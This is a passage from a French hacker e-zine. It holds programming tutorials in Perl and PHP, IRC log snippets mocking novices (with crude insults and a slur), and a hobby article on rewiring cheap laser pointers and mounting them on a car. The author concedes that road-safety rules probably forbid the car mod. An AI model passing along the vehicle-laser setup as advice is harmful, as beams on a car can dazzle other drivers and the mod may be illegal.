comme en C), sauf que le truc du $_[0] = bleh; est plus leet. my $a = "unf"; sub meuh { my $refa = shift; print "$$refa\n"; $$refa = "ehh"; } meuh \$a; print $a; donne: unf ehh Ce qui revient a faire avec le truc leet : sub meuh { print "$_[0]\n"; $_[0] = "ehh"; } meuh $a; OUF. Voila ce qui conclu cette partie du tuto du coté des références, ne pensez pas que j'ai pour autant fini de vous parler des hashs et des arrays, y'a plein de fonctions intéressantes qui restent à découvrir à leur sujet. Alors vu que la partie des références était plus bourrée que prévu (finalement ça en fait du stock), je reporte ce que j'Avais prévu (c'est à dire les regex et les packages) à mon prochain article de la série. Que la force du chameau soit avec vous, - LastCall_ .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| lastcall@mindkind.org | '-------- - ----------- ------------ -----' < Mindkind tales from IRC > * MindFlayR has joined #RectumCrew * UnetSplit sets mode: +b *!*@BaldBoy.users.undernet.org * MindFlayR was kicked by UnetSplit (ALLO PD TOI TON SPORT PREFERER CES SURMENT LE LAME EXTREME ) --------------------MeanWhile on #rectumcrew---------------------- <[_Ange_]> y as tu qq1 qui s y connais en page web j ai une tite question <[_Ange_]> je me souvien pas comment mettre un exe sur ma page web pour pouvoir download hahahah [_Ange_] FTP ? <[_Ange_]> je sais mais comment l ecrire en html dans ma page <[_Ange_]> car le fichier es sur le server mais je peut pas le downloader nomdufichier mais anyway ta juste a taper le http://www.url.com/nomdufichier.exe <[_Ange_]> es tu la oui <[_Ange_]> j ai ecrit comme tu me la dit mais le fichier veut pas ce downloader peut tu m aider stp ta ecris quoi exactement peu tu me le paster <[_Ange_]> die.exe le serveur web est sur windows ou linux ? :) <[_Ange_]> windows <[_Ange_]> je sais pas <[_Ange_]> moi je roule en windows le server web est sur ta machine ? <[_Ange_]> le server doit etre en linux <[_Ange_]> non bon anyway c sur ca marche pas :) <[_Ange_]> ce st un grosse server qui donne des page web gratos <[_Ange_]> www.iquebec.com genre fait juste marquer die.exe ou die.exe si ca marche pas t sur c pagweb et non pas pageweb ? <[_Ange_]> oui je suis sure <[_Ange_]> j esaye ca < ----------------------- > .-----------[MinDKinD100\#100.09]------- ----------. [M]ind[K]ind #100 | ; | - 16/09/03 | . light, the final frontier! | - Qwzykx | aka '------------- ----. | "{SD}Qwzykx saw the light" | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Et oui semblerait que l'espèce humaine soit en-pleine crise d'identité en ses sombres heures noires, à un tel point même que tout et chacun,bonnent malant, se sentent rejeté, désemparé, que dis-je, atteint dans leurs virilités face à un kid de 15 ans qui a un laser pointer. Et donc, encore une fois en tant que justicier absent de la `scène` du tweak électronique, et dans le but de revigorer ces âmes perdues que sont les lecteurs absents de cette même `scène` je vous offre le viagra du post adolescent néo-capitaliste. (pour le peu que ca veux dire).Je vous en conjure,ne partez pas immédiatement cotiser vos REER, soyez emprunt d'une voluptile idée de soumission dans ce chemin indéfini qu'est cet article. Pour vous stimuler, accentuer, exciter vos sens, prenez-en donc une tite frette à ma santé, ou celle de votre chat, mettez un beat de background, (je suggère une beat plutôt du genre club mix etc..) en fait opter pour le feeling de bars déchus ou les conversations sont sans but mais semble jouissive à l'extrême! et avant que vous y pensiez, je sais y a pas de hot chix mais bon!.. Donc je disais après ce court préambule (en 1024x768), que moi, j`ma vous montrer comment faire de quoi avec rien, pis non c'est pas de l'argent ma faire, quoi que si vous ayez la resette la boite à malle de mon intérêt est toute ouvete! Bon je disais...:) Tout le monde semble vouloir posséder un laser pointer, pour l'utilité?? c'est discutable, mais avouez que ca offre un look Hi-Tech, pour pas trop cher. Mais combien d'entre vous savent comment ca marche? J'veux dire au point de pouvoir en tweaker un faire dequoi avec dans un but non prévu par le constructeur! En fait comment faire en sorte que cet outil de commercialisation mercantile vous offre à vous aussi un look Hi-Tech, qui surpassera de beaucoup l'utilisation primaire qu'en fera la masse communiste? Et bien les idées sont vastes, les applications sont tangible et vous êtes en train de lire depuis quelques minutes un texte qui tourne autour du pot:) Bon comment ca marche! Tout d'abord, le laser pointer à rabais que vous trouverez dans les marchés aux puces pour moins de 10$ sont en fait compose d'une diode laser (ah pas sérieux) et oui, bien-sûr que je le suis.. hi hi hi! (non il ne s'agit pas ici de rires réels, parlons plutôt d'un hasard typographique que j'ai rippé de ces 1000 singes il y a 3 ans qui écrivaient un roman de shakespeare par hasard). Cette diode en fait à "frette" émet un beam plutôt diffue, en somme c'est useless cote "beam laser pointer full hot etc".. c'est pourquoi on à ajouté une lentille pour focaliser le rayon à la sortie du pointer, et le mécanisme est digne d'une grande précision,il suffit simplement de dévisser le dessus du pointer pour y voir une fente de tournevis plat avec le quel ont peut ajuster le tout! Mais à cette étape précaire j'estime intéressant de vous montrer le schéma du pointer bas de gamme en question, ainsi que mes talents en ascii art! Vu de coupe avec intérieur. Cap du bout qui se visse pour ajuster le Piton On/Off Diode Laser focus du beam. / / _ ________________,oo.___________ _ | |. | %] . | . |] | '. (`|||| ! ||!----[` `=======(D) ! !| (![] ! ) (.|||! | ||!----[____]' ` | |! (|[] | ) !_! !_______________________________! ` !] !_`` ^ ^ ^ ^ ^ Cap du Partie batterie ! ! ! bout des avec le ressort ! Lentille ! batteries au bout ,!, Boute mal dessiné Circuit qui va au bout. Interrupteur Bon. sans la lentille bien ajuster à l'aide du "cap du bout qui se visse pour ajuster le focus du beam", le beam en question serait floue, donc en vissant tranquillement le tout, on ajuste (à l'oeil) le rayon de facon optimal (en un point dense). Ces pointeurs la, fonctionne avec 3 piles de 1.5v (les miennes étaient à 1.2v donc j'imagine que j'ai pas été le 1er à jouer avec;).. si on additionne les 3 piles en séries on obtient un total de 4.5v et le laser consomme environ 25ma. Les points de contact sont plutôt évidant, au centre du tube,(à l'intérieur), se trouve un spring en métal, spring qui me rappelle des moments plutôt troublants de mon enfance, mais bon la n'est pas la question!.. Ce contact en métal est le pôle neutre (GND) (ou comme beaucoup aime l'appeler à tors "le côté négatif"), tandis que le contour du tube, (en fait le case même tu pointeur, sert de conducteur pour le côté positif (dans ce cas ci 4.5v). Quand vous visser le bout pour les batteries, vous faites en fait contact avec le pôle positif, pis le bout touche au case du pointeur qui à son tour touche à la diode pour l'alimenter etc... Ce laser là serait ma fois plate à tweaker si on devait toujours le laisser avec des batteries pas de noms qui toffe jamais bien longtemps, donc si on désire utiliser un laser du genre sur un objet plus "stable".. pour un bon bout de temps (ex: Char, maison, piscine, déguisement de prédator, spectacles à très petit budget, orienteur pour chats myopes etc..) il serait essentiel de contrôler un peu mieux le système! Pour ce faire on peut y ajouter une alimentation externe, comme des batteries, et en plus on peut facilement contrôler son activation à distance.Une facon simple est de placer un tape sur le piton On/Off (afin qui sois toujours collé à On) puis de simplement activer ou désactiver l'alimentation. En somme avec une source de 4.5v, on pourrait alimenter à distance ce laser la. Et la joie c'est qu'avec un tel voltage, c'est plutôt facile à interfacer. Personnellement j'ai voulus ajouter deux de ces petits lasers sur ma voiture, bon ca fais juste 2 points rouges, mais l'hiver quand y neige ou quand y a de la brume ca fait 2 lignes rouges.. wierd.. enfin!.. evidament y était pas question de laisser les batteries d'origines pas de nom à l'intérieur donc j'ai enlevé le tout, j'ai raccordé un fil après le spring (qui allait être mon Ground (GND), j'ai raccordé un autre fil après le case du pointeur (coincé entre "le bout mal dessiné qui va au bout" pis le boîtier) qui allait devenir mon 5v (et oui 5v, je sais que 4.5v c'est ce qui est recommandé sur le petit message, mais pour .5v, ca devrait tenir le coup). (par contre ca explique le gain de 20% de brightness que j'ai gagné avec). Tk si ca pète je mettrai une résistance à qq'pars pour slaquer ca un peu, mais à date,après un cumulatif d'environs 3h non-stop, ca tien le coup parfaitement! Bon comme j'avais deux lasers, j'ai décidé de les reliés en parallèle après leurs avoir apportés les mêmes modifications. Il suffit donc de relier les 2 GND (le GND de chaque pointeur), et les 2 VCC (5v de chaque pointeur). Une fois cette délicate et complexe tache accomplie, prenez le temps de vous divertir devant un bon film belge traduit en allemand et sous-titré en suédois.. le tout bien sur accompagné d'un quick aux fraises. (Noter que j'ai tapé le piton ON des deux pointeurs affins de pas être obligé de sortir du char pour peser sur le piton) j'ai juste à les alimenter pour faire le tout!)Pour tester vos cossins je vous suggère de mettre 5v sur la branche 5v que vous avez crée (qui relie les 2 pointeurs) pis de relier la branche du GND (qui relie aussi les 2 pointeurs)les deux lasers devraient allumer en même temps et à même intensité! Si c'est le cas, tes bin partit! Sinon, ca va pas bin! .. Et parlant alimentation... Comme ma voiture utilise du 12v, pis que ca me prenait du 5v, j'ai utilisé un 7805 (voir mindkind 1) pour faire la transformation. En gros c'est un régulateur de tension à 3 pattes,une pour le 12v(char),une pour le GND(char), pis une pour le 5v (Laser). Après cet ajout, il suffit de relier le 5v du régulateur à la branche de 5v des lasers, pis le GND à la branche du GND des lasers.(remarquer que dans ce ca ci, il s'agit d'un char donc on peut se servir du frame du char pour se pluguer au ground (évitez la peinture ca conduit mal), (mais vous devez pareil relier le GND du char au GND du régulateur).Comme le pointeur a un case conducteur qui, contrairement au char est positif (5v) isolez le si vous pensez placer ce pointeur la dans une voiture entre d'la tôle.. (afin d'éviter un court-circuit).Bon, pour le reste y vous reste plus qua trouver une switch pour "activer" le 12v au régulateur, ce qui vous permettra de contrôler vos lasers. Le 7805 peut supporter 500mA (ici on en prend 25mA par laser soit 50mA avec les deux lasers, mais déjà on sent une petite chaleur provenant du régulateur, ce qui est normal, mais j'irais pas relier plus que 8 laser par régulateur, question de pas mettre le feu dans vos cossins! au pire payer vous en un autre à 0.50$ pour en pluguer une autre batch ou achetez-vous un heatsink pour leposer dessus (c'est consu pour). Bon ici je fais une remarque, ma méthode (dans le cas d'une voiture), permet de placer le tout électroniquement, mais pour ajuster les lasers, ou éviter que de la saleté de ramasse sur la lentille pis la bousille, c'est à vous de trouver un tweak.. moi j'ai coller une tite vitre en avant du pointeur, donc si ya trop de marde au pire je torche la vitre pis c'est comme neuf. J'ai sûrement pas besoins de vous dire, j'crois pas que le bureau de la sécurité automobile autorise ca.. mais c'est comme n'importe quoi.. ta le droit des avoirs mais pas de t'en servir;) Et vous pensiez que c'était tout? Détrompez-vous, inculte que vous êtes, ya encore des lights plutôt cool coté effet Hi-Tech.Et oui que dire de ces petites LED bleu super bright (remarquer qui en à des UV aussi!).. Personnellement j'en ai une de type super bright (qui éclair en masse). Mais l'idéal c'est pas d'éclairer au loin dans le beurre pour donner un effet le fun à ca.. c'est plutôt de cibler justement une chose à mettre en valeur! Par exemple, si j'ai à poser ca sur un char je les mettrais pas en avant ca sert à rien, j'ai mettrais plutôt coller après le contour de la voiture, de facon à ce que la LED éclair la voiture ou des parties de celle-ci! (pareil pour tout autre truc). En fait c'est une question de lumière vous ferez bin ce que vous voudrez avec batince!! Bon pour ces petites LED la, c'est aussi intressant cote alimentation, la mienne marche a 4.5v (comme par hasard).. donc c'est encore une fois plutôt facile d'implantation. En fait c'est une device cool ces LEDs la, dans le sens ou les effets de lignt sont faciles à faire mais surtout qui à tout plein de facon de mettre en valeur des trucs.. Les effets de vitre sont plutôt cool, en fait suffit de placer la dite LED sur la largeur de la vitre, pis toutes les imperfections de celles-ci vont apparaîtrent, sans compter les contours, le look est assez geek;) .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| Qwzykx@mindkind.org | '-------- - ----------- ------------ -----' < Mindkind tales from IRC > --------------------still meanwhile on rectumcrew-------------- qqu connait le server STMP de hotmail pour msn hack non * |Rectum| sets mode: +l 62 KiNgSk8eR ouv toi un firewall log toi a msn pitu va lavoir * Dr-SpLiT has joined #RectumCrew t sur esaye ya tu une autre place pour le trouver envoie leur un email pi demande leur Adresse IP: 64.4.52.7 Hostname: hotmail.com comment faire pour les hacker lol KiNgSk8eR jpense je te connais t ki bah jté déja passer des bot ben oui lol chtel dit j'ai pas de firewall pis i me faut ce stmp DeViLzZzZ fait le pis dit moi le svp < ----------------------- > .-----------[MinDKinD100\#100.10]------- ----------. [M]ind[K]ind #100 | ; | - 27/11/03 | . So you wanna be a hax0r? | - Mindkind various | aka '------------- ----. | A Mindkind guide to be a no life | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' So you wanna be a hax0r? /|||||\ <|-O-O--|> | - | \ `-' / --\/--~~^\ / |o \ / \ )o / \ / \ )o \ / / )o / \ \ / /i \ )o i\ \ ( ( i )o / i ) ) \ \ i )o i/ / \ \i \ )o / / / \ > |o / / \\\\ --------------------still meanwhile on the same chan---------- ---meanwhile again on #rectumcrew, on pensait que wyze savait pas ecrire en francais--- c que 1) c smtp pas stmp * Xxl4DyxX has joined #RectumCrew pi que 2) hotmail marche pas avec ca ;) c tu un http dapres toi ? mais avec msn hack pi que 3) ON SEN TABARNAK DE TÉ KIT svp les gars masi check msn hack c tu de la merde oui ou non hehe c toujours drole de rire des newbs une fois de temps en temps par contre, c'qui est incomprehensible c'est qu'ils sont 60 sur leur putain de chan :] < ----------------------- > .-------[MinDKinD100\#100.11]------- ---- - -------. [M]ind[K]ind #100 | | - 14/09/2003 | . i love PHP | - Seriousman | aka '------------- ----. | "non php sa suce pas, mais c hot pareil" | | _____ . | '------------------------[ again, again n again.]---- ----------------' __ __ IIIIIIIIIIII / \ / \ PPPPPPPPPP HHHHHH HHHHHH PPPPPPPPPP IIIIIIIIIIII / \/ \ PPP PPP HHHH HHHH PPP PPP IIII / \ PPP PPp HHHH HHHH PPP PPp IIII / \ PPP PPP HHHH HHHH PPP PPP IIII \ / PPP PPP HHHHHHHHHHHHHH PPP PPP IIII \ / PPPPPPPP HHHHHHHHHHHHHH PPPPPPPP IIIIIIIIIIII \ / PPP HHHH HHHH PPP IIIIIIIIIIII \ / PPP HHHH HHHH PPP \/ PPPPPPP HHHHHH HHHHHH PPPPPPP Paint by SeriousMan ;) I/Intro: 5/9/03 11:42 ,Deuxième essaie d'intro (le premièr parlais de la personne idéale pour lire l'article): "P'tin un autre tutorial de php , y'en a marre de ces tut's a la con qui n'ajoute rien", et je répond:"Mais non, ce n'est pas comme les autres ,c'est un tutorial originale , je clarifie : le concept est simple ,c'est juste un projet en php qui au fil de sa création, vous apprendrez le langage et a sa eb fin vous aurez une bonne' connaissance de php qui vous permettra de faire plain de chose (des ptit script d'automatisation , de calcule ...) . Le bon dans ce tutorial c'est qu'il est du 100% pratique, qu'il vous apprend a faire des vrai application (c'est facile d'apprendre les instructions ,les boucles et tous ces théories mais il est très difficile de les applique pour avoir une application ) , Le niveau requis pour commencer est de presque zéro quelque connaissance en base de programmation et une bonne logique suffit, mais il est préférable d'avoir lu un autre tutoriale de base(une introduction) de php avant de commencer . Bonne lecture Votre serviteur: SeriousMan ps: si l'idée et l'article vous plais , contacter moi pour le dire et donner vos remarque et si je trouverai qu'il a intéresse beaucoup de monde peut être qu'il sera un début d'une longue série. Contact: mon email: seriousman@altern.org mon icq: 288831805 IRC : epiknet : #ioc et #newffr undernet: #mindkind.org & #activism shmeitirc.mefound.com: #fff & #[s.corp] II/Pre-Prog: \/\/\/\/\/\/\/\/Projet : Interpreteur d'expressions mathematiques\/\/\/\/\/\/\/\\/ 1/But: -L'utilisateur écrie une expression que le script interprétera puis retournera le résulta par ex : l'utilisateur écrit '5+5*2' le navigateur affichera 15 ( et oui le php c'est un langage de Web donc le script sera exécuter sur le serveur puis le résultat renvoyer a la machine de l'utilisateur et afficher sur son navigateur sous forme d'une page html(page Web simple) ou autre format compatible Web (java script, flash et même pdf ou Word) . 2/Les étapes: -l'utilisateur écrie l'expression qu'elle sera envoyer par un get ou un post au serveur (on verra plus tard ce qu'elle sont). -le script analyse le syntaxe de l'expression . -le script interprete l'expression (la comprend par sa maniere :) calcule son résultat. -le script envoie le résultat au navigateur sous forme de page html . donc on va couper notre script en 4 partie : -La page ou l'utilisateur écrira l'expression (la partie 100% html) . -La partie d'analyse de syntaxe (on voie si il n'y a pas d'erreur dans l'expression). -La partie d'interprétation et de calcule. -La partie d'affichage du résultat. Remarque: on ne programmera pas les partie dans l'ordre. Maintenant qu'on sait ce qu'il faut faire commençons le travail . III/Parti4 : La partie d'affichage du résultat : 1/Les generalitées : Avant de commence la programmation de cette parti clarifions quelque base : -Le PHP est un langage incrusté au HTML et interprèté (PHP3) ou Compilé (PHP4) par le serveur . -Les commentaires du php (ce sont des commentaires mises dans le code source pour l'expliquer qui sont Ignorer par le compilateur) sont designer par: // commentaires sur la même ligne /* commentaires jusqu'au */ # commentaires sur la même ligne (comme en Shell) -Il n'est pas nécessaire de déclarer des variable en php ils seront crée a leur première utilisation. -Les identificateurs des variables sont précèdes par le symbole"$" exemple $Foo ou $bar. -Dans le php les majuscules ne change rien . -Les variable pourront être des entiers, réels , chaîne de caractère , booléen , tableaux, objet et ptet d'autre type que je connais pas . -Un script php commence avec un -la fonction echo affiche un string, un réel, et tous ce qui la précède a l'écran -Une ligne de code ( une fonction ou tout autre chose ) fini toujours par un point-virgule ";" Voici quelque exemples pour vous aidez à comprendre ce que j'ai dis: ------------------Danger Mort Radiation--Danger Mort Radiation-------------------- ------------------Danger Mort Radiation--Danger Mort Radiation------------------- Sauver ce code dans example.html ou example.php dans votre serveur puis ouvrer le avec votre navigateur préférer et hop y'aura un beau "556556hello worldje suis le dieu de php" afficher dans la source vous verrez: 556556hello worldje suis le dieu de php --> tout ce qui est au dehors du script php(les ) ne sera pas interpréter par le serveur mais envoyer a la machine hôte et interpréter par le navigateur comme du code html normale(remarque:même le résultat du code php sera interpréter par le navigateur comme du html). C'est fini les bases, si vous avez loupez quelque chose j'insiste que vous alliez voir un tutorial de base en php y'a un bon sur le ( je l'utilise comme reference pour ce tutorial): http://cyberzoide.developpez.com Pour le reste il vous faut un serveur local ( si vous avez une distribution linux RedHat, Mandrake, SuSe vous trouverez tout disponible ( un serveur apache avec module php)mais si vous avez Windows télécharger vite EasyPHP et installer (c'est rapide (installation facile ), simple a utilise et très complet(Serveur apache + php+ mysql + quelque module pour la route et tout ça dans 10.3 mega ( vous pouvez aussi le trouver dans svm numéro 213)). Il vous faut aussi le manuel de php (pour comprendre quelque fonction que j'aurai oublie d'expliquer ou que j'ai mal explique et un ptit tutorial de php pour mieux comprendre ce que je dis(ça ce n'est pas nécessaires mais ç'est recommender (ceci est mon deuxième tutorial donc je ne crois pas qu'il peut être parfait ). ____ ,------------------------------------------------- / \ | Dans des cadres comme celui ci vous trouverez | _ | | mais remarque , ajout, information, et solution | / \ | | et tout les choses qui ont quelque chose a voir || | | / avec notre sujet. (.) (.)| / || | | <__ |____/||| | Remarque: c'est pas mon ASCII :) c'est du 100% rip. |\___/ | | | || | | | | | \___/ | \______/ 2/Let's Code : Bon comme on sait le code sera coupe en quelque parti et toute partie sera une fonction que le programme principale appellera pour afficher le résultat . ____ ,------------------------------------------------- / \ | Une fonction est une parti du code qui contiendra | _ | | des instruction qui seront exécuter a l'appel de | / \ | | la fonction. || | | / Une fonction peuvent prendre des argument : des variables (.) (.)| / de tout type , une chaîne de caractère , un nombre || | | <__ Une fonction peu afficher une expression, retourner une |____/||| | valeur ... |\___/ | | | ex: || | | | | et ca affichera 31331 :) facile ,non? Il y'a beaucoup de fonction deja faite en php comme echo par ex. Donc pour cette partie on aura une fonction avec comme argument le résultat de l'expression donc on aura : -----------------Danger Mort Radiation--Danger Mort Radiation-------------------- -----------------Danger Mort Radiation--Danger Mort Radiation-------------------- N'ayez pas peur y'a plus de radiation :) Je crois que j'ai rien a explique dans ce code si vous avez pas compris relisez ce qui précède et si vous ne comprenez toujours pas allez voir un autre tutorial puis revenez :p . III/Parti1 : La page ou l'utilisateur écrira l'expression (la partie 100% html): 1/Parlons un peu: Bon cette parti vous paraît sans aucun rapport avec notre sujet parce qu'elle du 100% HTML mais vous vous trompez , avez vous thinker about comment on envoiera l'expression au serveur pour qu'elle soit interpréter ? Ben j'ai une solution : POST ( j'entend des KESKA partout , la prochaine fois je mettrai de la musique a fond pour ne pas entendre c'est connards :p ) . ____ ,------------------------------------------------- / \ |(Cette parti est copié du tutorial du CyberZoid en PHP & MySQL) | _ | | Passage de paramètres à un script | / \ | | *Methode des formulaires: || | | / La methode POST permet de passer des variables saisies par (.) (.)| / l'utilisateur d'un script php a l'autre || | | <__ Example : |____/||| | echo "
|\___/ | | | Login:
|| | | | | Password:
| \__ / | \______/ ...Toutes les variables passées en paramètres par cette méthode seront considérées comme des chaînes de caractères... Les donnes saisies n'apparaîtront pas dans l'url et ne seront donc pas stoker dans le fichiers de log du serveur, contrairement a la méthode GET... Méthodes des ancres: Les variables peuvent directement être passés par l'intermédiaires des URL. example: $id = 20; echo "Acheter"; Cet exemple va créer dans le script destination les variables globales $action et $id avec les valeurs respectives "buy" et "20"... 2/Maintenant plangons dans notre code : Cette partie comme vous l'avez peut être su sera la page principale du script calculer.htm ------------------Y'a plus de danger vous pouvez passez-------------------------- SeriousCalc <--- c'est un formulaire de methode post qui envoira une variable du type text au script calcule.php ---> L'expression:
<-- La variable aura don pour nom $express --> <--- Le bouton aura pour nom Calculer ---> ------------------LOL, Je vous est eu: y'avait dla radiation--------------------- Bon, si vous étés tjs vivant (WOW, vous avez survécu avec toute cette radiation, mais vous aurez plus d'enfant :) je crois que vous avez compris le code et tout ce qui précède (sinon il aurai été mieux que vous mourrez :p ). On continue vers des autres mondes inexplorés mais ça sera pas facile ,il faut du courage un très grand brain et il faut aussi avoir une très très très longe bi.. mais ce n'est pas très nécessaire :) IV/Interlude: 1/Zic: J'insiste que vous entendez ces morceaux la: -How Much is The Fish-- Scooter -Sad But True, Unforgiven II, St Anger ... --Metallica -Bring Me To Life --Evanescence -Grave dans la roche, Sans (Re)Pere --Sniper -Disassociative --Marlyn Mansion -ADD, Roulette, Aerials, Fuck The System et tout les song's de System of a Down -Breaking The habit --Linkin Park -Lake Bodom, Bed Of Razors et leur concert de Tokyo --Children of Bodom -Paint it Black --Rolling Stones -Tout les chanson de OffSpring -Remeber --SeriousMan (ça existe vraiment mais y'a que 3 personnes qui l'ont entendu ,si vous voulez être le 4eme vous n'avez que seriousman@altern.org) -Bc d'autre chose que j'ai oublie 2/Film's: -Memento -Mulholland Drive -American Weedding -Une vie normale et décalages de Gad El Maleh -Requim For A Dream -True Man Show -Ma 6-T Va Craquée -Fight Club (J'insiste vraiment)$ 3/Article et Livre: -Mon autre article 'WarGame' le numéro 100 de Mindkind -Le train orient express et 10 ptit nègres de Agatha Christ :) -Le ptit Larousse -How to become a big LAmer --Pyro Freak Team ;) 4/Quelque mot pour finir (pas l'article mais l'interlude): -L'homme est un être humain si vous le tuez il meurt --SeriousMan -L'underground sera toujours sous la terre --SeriousMan -Réveillez-vous c'est la révolution --Tjs SeriousMan ;) -Chiwhawha --Dj Bobo -This is a girl --David Lynch 5/Remarque: Il faut impérativement lire,entendre,voir,comprendre tout ce qu'il y a si dessus pour comprendre la prochaine partie . V/Parti2: La partie d'analyse de syntaxe: 1/Let's speak: Sorry: i hate speaking :p 2/L'algorithme infernale des pays d'ouest et le pays de gale: Ce que fera l'analyseur de syntaxe c'est de passer l'expression a plusieurs tests et si elle reussi elle passe sinon on envoie un beau die() ( une autre fonction deja-faite) ,En passant j'adore cette fonction (chouchou :) ____ ,------------------------------------------------- / \ | die() est un alias a la fonction exit (avant c'était le die() | _ | | maintenant y'a exit(),)) voyons ce que die notre jolie man: | / \ | | exit -- Termine le script courant || | | / void exit ( string status) , void exit ( int status) (.) (.)| / Note : exit() n'est pas une véritable fonction, mais un élément || | | <__ de langage. exit() termine l'exécution du script courant. Elle |____/||| | n'a pas de valeur de retour (et pour cause!), mais elle |\___/ | | | utilisera le message status comme message de fin d'exécution. || | | | | Note : La fonction die() est un alias de la fonction exit(). | \___/ | (si vous comprenez pas l'exemple c tout a fait normale :) l'expression | | est ce qu'il y'a des caractère a pars les nombres et les opérateurs (+-*/pour nous)? | | |n |o |o |u |n |i | | | | y'a t'il deux opérateurs suivie | par ex: (5++5)? \ | | \o | |n \u | |o \i | |n \_______| | | l'expression est t'il constitue | de plus de 26 charctere ? | | | | |n | o u i | |o ----------------- |n | | | OK tu passe vers | l'interpréteur die('il y'a une erreur'); / vers/ /l'int/ /erpre/ /teur / 3/Code my, my friend code me, coz i'm not the only one, i'm not the only one: Avant de commencer je voudrai expliquer comment naviguer dans l'expression ? --> pour la navigation on utilisera un petit truc . 1/la fonction strlen(): strlen -- Calcule la taille d'une chaîne *Description int strlen ( string str) strlen() retourne la taille de la chaîne string. 2/$char[int nombre du caractère voulu] par ex: --------------------Veuillez donne votre mot de passe pour entrer---------------- ";//affichera 10 (le br c'est pour sauter la ligne) echo $text[6];//affichera 's' et non pas u car on commence a compter du zéro ?> -----------------------Erreur 1337: Password Ok but lamer detected---------------- /\/\/\/\/\/\/\/Quelques page du manuel sur les if , for/\/\/\/\/\/\/\/\ L'instruction if est une des plus importantes instructions de tous les langages, PHP inclus. Elle permet l'exécution conditionnelle d'une partie de code . Les fonctionnalités de l'instruction if sont les mêmes en PHP qu'en C : Comme nous l'avons vu dans le paragraphe consacré aux expressions, expr est évaluée à sa vraie valeur. Si l'expression expr est TRUE, PHP exécutera l'instru- ction et si elle est FALSE, l'instruction sera ignorée. L'exemple suivant affiche la phrase a est plus grand que b si $a est plus grand que $b: $b) print "a est plus grand que b"; ?> Souvent , vous voulez que plusieurs instructions soient exécutées après un branchement conditionnel . Bien évidemment , il n'est pas obligatoire de répéter l'instruction conditionnelle autant de fois que vous avez d'instructions à exécuter. A la place, vous pouvez rassembler toutes les instructions dans un bloc. L'exemple suivant affiche a est plus grand que b , et assigne la valeur de la variable $a à la variable $b: $b) { print "a est plus grand que b"; $b = $a; } ?> Vous pouvez imbriquer indéfiniment des instructions if les unes dans les autres, ce qui permet une grande flexibilité dans l'exécution d'une parti de code suivant un grand nombre de conditions. ####################### for Les boucles for sont les boucles les plus complexes en PHP . Elles fonctionnent comme les boucles for du langage C . La syntaxe des boucles for est la suivante: La première expression(expr1) est évaluée(exécutée),quoi qu'il arrive au début de la boucle. Au début de chaque itération, l'expression expr2 est évaluée.Si l'éva- luation vaut TRUE,la boucle continue et l'instruction est exécutée . Si l'évalua- tion vaut FALSE, l'exécution de la boucle s'arrête. A la fin de chaque itération, l'expression expr3 est évaluée (exécutée). Les expressions peuvent éventuellement être laissées vides. Si l'expression expr2 est laissée vide, cela signifie que c'est une boucle infinie(PHP considère impli- citement qu'elle vaut TRUE, comme en C ). Cela n'est pas vraiment très utile, à moins que vous souhaitiez terminer votre boucle par l'instruction conditionnel- le break.Considérons les exemples suivants. Tous affichent les chiffres de 1 à 10: 10) { break; } print $i; } /* exemple 3 */ $i = 1; for (;;) { if ($i > 10) { break; } print $i; $i++; } /* exemple 4 */ for ($i = 1; $i <= 10; print $i, $i++) ; ?> /\/\/\/\/\/\/\/Fin des quelques page du manuel sur les if , for/\/\/\/\/\/\/\/\ Le code : (((((((((((((((:Watch your Step-Watch your step-Watch your step:))))))))))))))))) function analyse($express){ $lengh = strlen($express); //La taille de la chaîne sera dans $lengh for ($i = 0; $i <= $lengh; $i++) { //on utilisera $i pour voyager entre //les caractere de la chaine donc en //commencera par 0 (le premier //caractere) et en ajoutera 1 tout //les tours d'execution j'usqu'a $i //sera plus grande que la taille de //la chaine if (($express[$i]!="0")&&($express[$i]!="1")&&($express[$i]!="2")&&($express[$i]!="3")&&($express[$i]!="4")&&($express[$i]!="5")&&($express[$i]!="6")&&($express[$i]!="7")&&($express[$i]!="8")&&($express[$i]!="9")&&($express[$i]!="+")&&($express[$i]!="-")&&($express[$i]!="*")&&($express[$i]!="/")){ //si le caractere n'est pas un nombre ou un operateur die("erreur fatale: présence de caractère interdit"); //y'aura une erreur } if($lengh>25){ //si la taille de la chaîne est très grande die("erreur fatale: expression très longe pour être interprète"); //y'aura une erreur } if ((($express[$i]=="+")||($express[$i]=="-")||($express[$i]=="*")||($express[$i]=="/"))&&(($express[$i+1]=="+")||($express[$i+1]=="-")||($express[$i+1]=="*")||($express[$i+1]=="/"))){ //si le caractère est un opérateur est qu'il est suivi d'un autre opérateur (le caractère c'est $express[$i] et le suivant sa sera $express[$i+1]) die("erreur fatale: erreur de syntaxe"); //y'aura une erreur } } } ((((((((((((((((((:Mais ou étés vous ? oups vous étés tombez:)))))))))))))))))))) Je crois que la seul dificulté ici c'est la boucle for si vous ne le comprenez pas relisez la page du manuel que j'ai copié si-dessus . VI/La partie d'interprétation et de calcule: 1/ On coupera cette parti en deux : -Une qui analysera l'expression pour découvrir ces termes : (par ex: dans '12+48*9' : les termes sont 12, +, 48,* et 9) Celle si mettra tout les caractère de type nombre dans une même variable '$a' jusqu'a tombe sur un opérateur par ex (l'expression utilise est la même): elle mettra '1' dans $a pis '2' ($a = $a.$express[$i]) puis quand elle tombera sur l'opérateur '+' elle copiera la variable $a dans $terme[$n] ou $n est son nombre ( dans notre exemple 12 est le premier terme , + est le deuxième...) et videra $a pour pouvoir prendre un nouvelle terme numérique et ajoute 2 a $n(pour qu'on commence au prochain terme numérique (remarquez qu'on saute le terme '+' ) ) pis après la fin de la boucle on n'oublie pas de copie le dernier terme (il n'est pas précède d'opérateur ) -La deuxième partie comptera le résulta : mais les * et les / aurons la priorité (pour comprendre cette parti lisez les commentaires du code) Maintenant voici les nouvelles choses qu'on verra dans notre code : --------------------------------------------------------------------------------- Les valeurs de retour Les valeurs sont renvoyées en utilisant une instruction de retour optionnelle. Tous les types de variables peuvent être renvoyés, tableaux et objets compris. Vous ne pouvez pas renvoyer plusieurs valeurs en même temps , mais vous pouvez obtenir le même résultat en renvoyant un tableau. Pour retourner une référence d'une fonction , utilisez l'opérateur & aussi bien dans la déclaration de la fonction que dans l'assignation de la valeur de retour. --------------------------------------------------------------------------------- (int)$a : (int) serre a changer une variable de type char a une variable de type int par ex : $s = '123'; $m = (int)$s 